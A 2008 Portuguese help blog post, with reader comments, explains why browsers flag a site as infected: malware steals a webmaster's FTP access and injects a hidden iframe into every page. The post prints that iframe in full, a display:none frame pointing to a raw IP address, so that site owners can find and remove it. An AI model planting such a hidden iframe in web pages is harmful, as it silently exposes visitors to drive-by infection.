Site denunciado como foco de ataques!

13/11/2008 por Ricardo Delcastanher

Esta é a imagem que o Firefox mostra quando o site que você tenta acessar pode contaminar seu computador com vírus. Para sua segurança, saia do site infectado.

Mas o que fazer quando esta mensagem aparece no seu site? Como ele pode estar infectado?

Provavelmente isso começou quando um computador desprotegido foi infectado a partir de um desses sites. E este computador desprotegido pertencia ao seu webmaster ou a sua empresa.

O vírus, além de roubar informações do usuário, aproveita quando ele se conecta via FTP e coloca o seguinte código em todas as páginas do seu site:

<iframe bipoz=’HFkEhvtZ’ src=’http://218.93.205.42/index.php ‘ gxshu=’XqaGt3AX’ width=’111′ height=’162′ style=’display:none’></iframe>

O código pode ter algumas variações, mas segue este padrão. Apague o código de todas as suas páginas. Mas não esqueça de passar um bom anti-vírus nos computadores que têm acesso ao FTP.

* Mesmo após remover o código malicioso do seu site, esta mensagem pode continuar aparecendo por, mais ou menos, uma semana.

Publicado em Ajuda |

3 comentários

  1. Romulo disse:

    Olá amigo estou com um blog nessa situação, já localizei o problema e corrigi, quer dizer que a mensagem fica até uma semana e depois some? e fica tudo normal? abraço.

  2. Ricardo Delcastanher disse:

    Quem mantém o Banco de Dados de sites infectados é o Google. A mensagem aparecerá até que o Google atualize seu banco de dados. Já tive casos em que demorou até três semanas. Depois disso, some o aviso e tudo fica como era antes.

  3. Larissa disse:

    é o meu pc aparece essa imagem,e o fundo da tela ,esta toda colorida,por causa desse site aê.
    como faço pra tirar isso?